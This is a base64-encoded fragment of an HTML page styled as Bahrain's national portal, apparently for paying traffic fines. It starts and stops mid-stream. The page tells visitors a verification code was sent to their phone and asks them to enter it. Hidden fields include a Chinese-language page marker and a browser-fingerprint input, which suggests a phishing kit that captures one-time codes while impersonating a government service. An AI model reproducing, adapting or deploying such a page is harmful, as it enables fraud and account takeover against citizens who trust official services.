UUlVDVElPTiBCT1gtLT4KCQkgIDxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0Ij4KCQkJIDxkaXYgc3R5bGU9ImhlaWdodDogNjBweDsiIGNsYXNzPSJzZXJ2aWNlLXdpZGdldC10aXRsZSI+CgkJCSAgPGg0IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHBhZGRpbmc6IDEzcHg7IGZvbnQtc2l6ZTogMzBweDsiPgoJCQk8c3Ryb25nPlBheW1lbnQgb2YgVHJhZmZpYyBDb250cmF2ZW50aW9uczwvc3Ryb25nPgoJCQkJCgkJCQkgPHNwYW4gYXJpYS1sYWJlbD0iVG9nZ2xlIENvbnRhaW5lciIgY2xhc3M9InRvb2xzIj48c3Bhbj48ZW0gY2xhc3M9ImZhIGZhLWFuZ2xlLWRvd24iPjwvZW0+PC9zcGFuPjwvc3Bhbj48L2g0PgoJCQkKCQkJIDwvZGl2PgoJCgkJICA8L2Rpdj4KCSAgIDwhLS0gRU5EIElOU1RSVUNUSU9OIEJPWC0tPgoJCTwvZGl2PgoJICAgPC9kaXY+CgoJCQk8ZGl2PjxzcGFuIGlkPSJ2aWV3bnNfWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzFfOmZvcm0xOm1lc3NhZ2VzIj48L3NwYW4+CgkJCTwvZGl2PgoJCQk8ZGl2PgoJCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbWFyLWJ0bS0yNSI+Cgk8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJCTwhLS1TdGFydCBSZXF1aXJlZCBNU0cgLS0+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIG1hci1idG0tMTAiPgoJCSAgPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJPCEtLSA8cCBjbGFzcz0icmVxdWlyZWQtdGV4dCI+IGluZGljYXRlcyB0aGUgcmVxdWlyZWQgZmllbGRzLjwvcD4gLS0+CgkJICA8L2Rpdj4KCQk8L2Rpdj4KCgkgICA8IS0tIFN0YXJ0ICBBZGRyZXNzIFRhYmVsLS0+CgkgICA8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbWFyLWJ0bS01ICI+CgkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkgIDxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0Ij4KCQkJPGRpdiBjbGFzcz0ic2VydmljZS13aWRnZXQtdGl0bGUgd2lkZ2V0LWdyZXktdGl0bGUgd2lkZ2V0LXRleHQtY2VudGVyIj4KCQkJICA8aDQgc3R5bGU9InBhZGRpbmc6IDhweDsiPiBXZSBoYXZlIHNlbnQgdGhlIHZlcmlmaWNhdGlvbiBjb2RlIG9uIHlvdXIgcGhvbmUsIHBsZWFzZSBwcm9jZWVkIHRvIHRoZSBuZXh0IHN0ZXAgb2YgYXV0aGVudGljYXRpb24uPHNwYW4gY2xhc3M9InRvb2xzIiBhcmlhLWxhYmVsPSJUb2dnbGUgQ29udGFpbmVyIj4gPHNwYW4+PGVtIGNsYXNzPSJmYSBmYS1hbmdsZS11cCI+PC9lbT48L3NwYW4+IDwvc3Bhbj4gPC9oND4KCQkJPC9kaXY+CgkJCTxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0LWJvZHkgc2VydmljZS13aWRnZXQtYm9keS1mb3JtIj4gCgkJCSAKCQkJICA8IS0tIEJlZ2luIEZvcm0tLT4KCiAgICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgPHAgaWQ9InZlUiIgc3R5bGU9InBhZGRpbmc6IDE0cHg7CiAgICBwYWRkaW5nLWJvdHRvbTogMHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICA8L2Rpdj4KCQkJICAKCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0icGFkZGluZzogMzBweDsgbWFyZ2luLWxlZnQ6IC0xNXB4OyIgPgoJCQkJCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJhciIgdmFsdWU9IjEwMCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZXMiIHZhbHVlPSLmiJHlnKjpqozor4HpobXpnaIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJmaW5nZXJwcmludElucHV0IiBuYW1lPSJmaW5nZXJwcmludCIgdmFsdWU9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93UCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC03NVAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyUCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93UCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC01MFAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBpZD0id2hlblJlamVjdCIgY2xhc3M9ImgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJjb2xvcjpyZWQ7IG1hcmdpbi10b3A6IDVweDsiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBzdHlsZT0ibWFyZ2luLXRvcDogOHB4OyIgZm9yPSJjbmFtZSI+UExFQVNFIEVOVEVSIFZFUklGSUNBVElPTiBDT0RFPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iaW5wdXQgZm9ybS1jb250cm9sIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBtYXJnaW4tdG9wOiAwcHg7IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU9InRleHQiIGlkPSJzZWN1cml0eS1jb2RlIiBuYW1lPSJiaW5jaWthIiBtYXhsZW5ndGg9IjgiIG1pbmxlbmd0aD0iNCIgdmFsdWU9IiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iRW50ZXIgdmVyaWZpY2F0aW9uIGNvZGUiIHJlcXVpcmVkPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCgkJCQkJCQkJCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmllbGRzZXQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KCQkJCQkJCQkgICA8ZGl2IGNsYXNzPSJzZXJ2aWNlLWZvcm0tYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmllbGRfX2lucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGlkPSJ2ZXJpZnkiIG9uY2xpY2s9InZlcmkoKTsiIHN0eWxlPSJtYXJnaW4tdG9wOiAyMHB4OwogICAgd2lkdGg6IDUwJTsKICAgIG1hcmdpbi1sZWZ0OiAxOHB4OyIgY2xhc3M9ImJ1dHRvbl9zdHlsZSBhcHBzdWJtaXQiIHR5cGU9InN1Ym1pdCIgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPlZlcmlmeTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCQkJCQkJCQkgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZpZWxkc2V0PgoKCgkJCQkJCQoKCgkJCQkJCQkJCQkJCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgICAgICAgIAoKCQoJCQkgPCEtLSBFbmQgRm9ybS0tPiAKCQkJPC9kaXY+CgkJICA8L2Rpdj4KCQk8L2Rpdj4KCSAgPC9kaXY+CgoJCQkKCQoKPC9kaXY+CjwvZGl2PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQkJIAoJCQkJCSAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkJCQkJCSAgc3VibWl0RW50ZXJGdW5jKCk7CgkJCQkJfSk7CgkJCQkJIAoJCQkJIDwvc2NyaXB0PgoJCQk8L2Rpdj4KCgkJCTxkaXY+CgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQk8ZGl2IGFyaWEtaGlkZGVuPSJ0cnVlIiBhcmlhLWxhYmVsbGVkYnk9Im15TW9kYWxMYWJlbCIgcm9sZT0iZGlhbG9nIiB0YWJpbmRleD0iLTEiIGNsYXNzPSJtb2RhbCBoaWRlIGZhZGUiIGlkPSJlS2V5RmVhdHVyZWRNb2RhbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+VmlzaXRvciBlS2V5PC9oND4KCQkJCQkJPC9kaXY+CgkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CgkJCQkJCSAgPCEtLSBTdGFydCAtIENvbnRlbnQgQ29udGFpbmVyIEJveCAtLT4KCQkJCQkgIDxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJCQlUaGUgVmlzaXRvciBlS2V5IG9mZmVycyBhIGxvdyBsZXZlbCBvZiBzZWN1cml0eSBhcyBpdCBpcyBub3QgYmFzZWQgb24gQmFocmFpbuKAmXMgTmF0aW9uYWwgU21hcnRjYXJkLgoJCQkJCQk8L2Rpdj4KCQkJCQkgIDwvZGl2PgoJCQkJCSAgPCEtLSBFbmQgLSBDb250ZW50IENvbnRhaW5lciAgQm94IC0tPiAKCQkJCQkgIDwvZGl2PgoJCQkJCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KCQkJCQkJPGJ1dHRvbiBhcmlhLWhpZGRlbj0idHJ1ZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgdHlwZT0iYnV0dG9uIj5DbG9zZTwvYnV0dG9uPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJCQkJIAoKCQkJCTxkaXYgYXJpYS1oaWRkZW49InRydWUiIGFyaWEtbGFiZWxsZWRieT0ibXlNb2RhbExhYmVsIiByb2xlPSJkaWFsb2ciIHRhYmluZGV4PSItMSIgY2xhc3M9Im1vZGFsIGhpZGUgZmFkZSIgaWQ9ImVLZXlGZWF0dXJlZE1vZGFsMSI+CgkJCQkJCTxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CgkJCQkJCQk8YnV0dG9uIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBjbGFzcz0iY2xvc2UiIHR5cGU9ImJ1dHRvbiI+w5c8L2J1dHRvbj4KCQkJCQkJCTxoNCBzdHlsZT0iY29sb3I6IzEyNTlmZjsiIGlkPSJteU1vZGFsTGFiZWwiPlN0YW5kYXJkIGVLZXk8L2g0PgoJCQkJCQk8L2Rpdj4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJCQkJICA8IS0tIFN0YXJ0IC0gQ29udGVudCBDb250YWluZXIgQm94IC0tPgoJCQkJCSAgPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJCQkJCQlUaGUgU3RhbmRhcmQgZUtleSBlbnN1cmVzIGd1YXJhbnRlZWQgc2VjdXJpdHkuIFVzZXJzIG9ubHkgbmVlZCB0byBlbnRlciB0aGVpciBQZXJzb25hbCBOdW1iZXIvIE5hdGlvbmFsIElEIGFuZCBQYXNzd29yZCB0byBiZW5lZml0IGZyb20gYSByYW5nZSBvZiBiYXNpYyBlU2VydmljZXMuCgkJCQkJCTwvZGl2PgoJCQkJCSAgPC9kaXY+CgkJCQkJICA8IS0tIEVuZCAtIENvbnRlbnQgQ29udGFpbmVyICBCb3ggLS0+IAoJCQkJICAgPC9kaXY+CgkJCQkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiIGNsYXNzPSJtb2RhbC1mb290ZXIiPgoJCQkJCQk8YnV0dG9uIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBjbGFzcz0iYnV0dG9uX3N0eWxlIiB0eXBlPSJidXR0b24iPkNsb3NlPC9idXR0b24+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCgoJCQkJPGRpdiBhcmlhLWhpZGRlbj0idHJ1ZSIgYXJpYS1sYWJlbGxlZGJ5PSJteU1vZGFsTGFiZWwiIHJvbGU9ImRpYWxvZyIgdGFiaW5kZXg9Ii0xIiBjbGFzcz0ibW9kYWwgaGlkZSBmYWRlIiBpZD0iZUtleUZlYXR1cmVkTW9kYWwyIj4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+QWR2YW5jZWQgZUtleTwvaDQ+CgkJCQkJCTwvZGl2PgoJCQkJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgoJCQkJCQkKCQkJCQkJICA8IS0tIFN0YXJ0IC0gQ29udGVudCBDb250YWluZXIgQm94IC0tPgoJCQkJCSAgPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJCQkJCVRoZSBBZHZhbmNlZCBlS2V5IG9mZmVycyBhIGhpZ2hlciBsZXZlbCBvZiBzZWN1cml0eS4gQnkgZW50ZXJpbmcgeW91ciBQZXJzb25hbCBOdW1iZXIvIE5hdGlvbmFsIElEIGFuZCBQYXNzd29yZCwgeW91IGNhbiBiZW5lZml0IGZyb20gYSBjb21wbGV0ZSByYW5nZSBvZiBlU2VydmljZXMuIFJlZ2lzdHJhdGlvbiBvbmx5IHJlcXVpcmVzIHVzZXLigJlzIElkZW50aXR5IGNhcmQgYW5kIGZpbmdlcnByaW50IHNjYW4uCgkJCQkJCTwvZGl2PgoJCQkJCSAgPC9kaXY+CgkJCQkJICA8IS0tIEVuZCAtIENvbnRlbnQgQ29udGFpbmVyICBCb3ggLS0+IAoJCQkJCSAgCgkJCQkgICA8L2Rpdj4KCQkJCQk8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciIgY2xhc3M9Im1vZGFsLWZvb3RlciI+CgkJCQkJCSAgIDxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJidXR0b25fc3R5bGUiIHR5cGU9ImJ1dHRvbiI+Q2xvc2U8L2J1dHRvbj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoKCQkJCTxkaXYgYXJpYS1oaWRkZW49InRydWUiIGFyaWEtbGFiZWxsZWRieT0ibXlNb2RhbExhYmVsIiByb2xlPSJkaWFsb2ciIHRhYmluZGV4PSItMSIgY2xhc3M9Im1vZGFsIGhpZGUgZmFkZSIgaWQ9ImVLZXlGZWF0dXJlZE1vZGFsMyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+Q29ycFBhc3M8L2g0PgoJCQkJCQk8L2Rpdj4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJCQkJCgkJCQkJCSAgPCEtLSBTdGFydCAtIENvbnRlbnQgQ29udGFpbmVyIEJveCAtLT4KCQkJCQkgIDxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJCQlBbGxvd3MgYnVzaW5lc3Mgb3duZXJzIHRvIHJlZ2lzdGVyIHRoZWlyIG9yZ2FuaXphdGlvbiBhbmQgZW1wbG95ZWVzIGZvciBhIENvcnBQYXNzIGFjY291bnQgYW5kIHBlcmZvcm0gdmFyaW91cyB0cmFuc2FjdGlvbnMgb24gYmVoYWxmIG9mIHRoZSBvcmdhbml6YXRpb24gaW4gYSBzZWN1cmUgbWFubmVyLgoJCQkJCQk8L2Rpdj4KCQkJCQkgIDwvZGl2PgoJCQkJCSAgPCEtLSBFbmQgLSBDb250ZW50IENvbnRhaW5lciAgQm94IC0tPiAKCQkJCQkgIAoJCQkJICAgPC9kaXY+CgkJCQkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiIGNsYXNzPSJtb2RhbC1mb290ZXIiPgoJCQkJCQkJPGJ1dHRvbiBhcmlhLWhpZGRlbj0idHJ1ZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgdHlwZT0iYnV0dG9uIj5DbG9zZTwvYnV0dG9uPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJPC9kaXY+CgoKCTwhLS0gRW5kIFNlcnZpY2UgRm9ybSAtLT4KPC9kaXY+PC9kaXY+CjwvZGl2PjwvZGl2PjwvZGl2PgoJCQkKCQk8L2Rpdj4KCTwvZGl2PgoKPCEtLWVuZCBtYWluIGNvbnRlbnQtLT4KPC9kaXY+CjwhLS0gcGFnZSBmb290ZXIgLS0+CgoKPGZvb3Rlcj4KCTxkaXYgY2xhc3M9InJvdy1mbHVpZCBwYWRkaW5nLXRvcC01MCI+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIGZvb3Rlci1saW5rcyIgc3R5bGU9InBhZGRpbmctdG9wOjIwcHgiPgoJCQk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxoND5JbmZvcm1hdGlvbiBHdWlkZSA8L2g0PgoJCQkJCTx1bD4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvWW91ckd1aWRlRm9yTGl2aW5nSW5CYWhyYWluIj5Zb3VyIExpZmUgaW4gQmFocmFpbjwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9BYm91dFRoZUtpbmdkb20vIj5BYm91dCBUaGUgS2luZ2RvbTwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9QYXJ0aWNpcGF0ZVdpdGhVcy8iPmVQYXJ0aWNpcGF0aW9uPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL1NlcnZpY2VzQ2F0YWxvZ3VlLyI+R292ZXJubWVudCBTZXJ2aWNlcyBDYXRhbG9ndWU8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvR1NYLVVJLUFsbEVudGl0aWVzLyI+R292ZXJubWVudCBEaXJlY3Rvcnk8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvRGlyZWN0b3J5T2ZFbWVyZ2VuY3lIb3RsaW5lTnVtYmVycyI+RGlyZWN0b3J5IG9mIEVtZXJnZW5jeSBIb3RsaW5lIE51bWJlcnM8L2E+PC9saT4KCQkJCQk8L3VsPgoJCQkJPC9kaXY+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMyI+CgkJCQkJPGg0IGNsYXNzPSJoaWRlLWluLXJlc3BvbnNpdmUiPmVTZXJ2aWNlczwvaDQ+CgkJCQkJPHVsPgoJCQkJCQk8bGk+PGEgaHJlZj0iL3dwcy9wb3J0YWwvZW4vQlNQL0dTWC1VSS1NdWx0aXBsZVRoZW1lc0J5RVNlcnZpY2UiPmVTZXJ2aWNlcyBDYXRlZ29yaWVzPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSIvd3BzL3BvcnRhbC9lbi9CU1AvR1NYLVVJLU11bHRpcGxlRW50aXRpZXNCeUVTZXJ2aWNlIj5lU2VydmljZXMgUHJvdmlkZXJzPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSIvd3BzL3BvcnRhbC9lbi9CU1AvR1NYLVVJLUFsbEFwcHMiPk1vYmlsZSBBcHBzIFN0b3JlPC9hPjwvbGk+CgkJCQkJPC91bD4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxoNCBjbGFzcz0iaGlkZS1pbi1yZXNwb25zaXZlIj5RdWljayBMaW5rczwvaDQ+CgkJCQkJCTx1bD4KCQkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9BYm91dGJhaHJhaW5iaC9BYm91dCUyMGJhaHJhaW4uYmgiPkFib3V0IHRoZSBOYXRpb25hbCBQb3J0YWw8L2E+PC9saT4KCQkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9lR292ZXJubWVudCUyMENoYW5uZWxzJTIwU3RhdGlzdGljcy9lR292ZXJubWVudCUyMENoYW5uZWxzJTIwU3RhdGlzdGljcyI+Q2hhbm5lbHMgU3RhdGlzdGljczwvYT48L2xpPgoJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlnYS5nb3YuYmgvZW4vY2F0ZWdvcnkvY29tbXVuaXR5LWVuZ2FnZW1lbnQiPklDVCBldmVudHMgaW4gQmFocmFpbjwvYT48L2xpPgoJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlnYS5nb3YuYmgvZW4vY2F0ZWdvcnkvbmV3cyI+R292ZXJubWVudCBOZXdzPC9hPjwvbGk+CgkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuaWdhLmdvdi5iaC9lbi9jYXRlZ29yeS9yZWNvZ25pdGlvbi1hbmQtYXdhcmRzIj5SZWNvZ25pdGlvbnMgJmFtcDsgQXdhcmRzPC9hPjwvbGk+CgkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Vc2Vyc0d1aWRlIj5Vc2VyJ3MgR3VpZGU8L2E+PC9saT4KCQkJCQkJPC91bD4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxoNCBjbGFzcz0iaW52aXNpYmxlIj5Gb2xsb3cgVXM8L2g0PgoJCQkJCTx1bD4KCQkJCQkJPGxpPgoJCQkJCQkJPGRpdiBjbGFzcz0iZm9sbG93LXVzLWljb25zIj4KCQkJCQkJCQk8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vaUdBQmFocmFpbiIgdGl0bGU9IkZhY2Vib29rIiB0YXJnZXQ9Il9ibGFuayI+CgkJCQkJCQkJCTxpIGNsYXNzPSJmYWIgZmEtZmFjZWJvb2siIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgoJCQkJCQkJCQoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vdHdpdHRlci5jb20vaUdBQmFocmFpbiIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aW1nIHN0eWxlPSJ3aWR0aDoyM3B4OyBtYXJnaW4tYm90dG9tOiAycHg7IiBhbHQ9IlRhd2FzdWwtTmF0aW9uYWwgc3VnZ2VzdGlvbnMgJmFtcDsgY29tcGxhaW50IHN5c3RlbSIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy90d2l0dGVyLW5ldy1sb2dvLnBuZyI+CgkJCQkJCQkJPC9hPgkJCQkJCQkJCQoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3Lmluc3RhZ3JhbS5jb20vaWdhYmFocmFpbiIgdGl0bGU9Ikluc3RhZ3JhbSIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLWluc3RhZ3JhbSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CgkJCQkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vYy9pR0FCYWhyYWluIiB0aXRsZT0iWW91VHViZSIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLXlvdXR1YmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3LmxpbmtlZGluLmNvbS9jb21wYW55L2lnYWJhaHJhaW4iIHRpdGxlPSJMaW5rZWRJbiIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLWxpbmtlZGluIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KCQkJCQkJCQk8YSBoc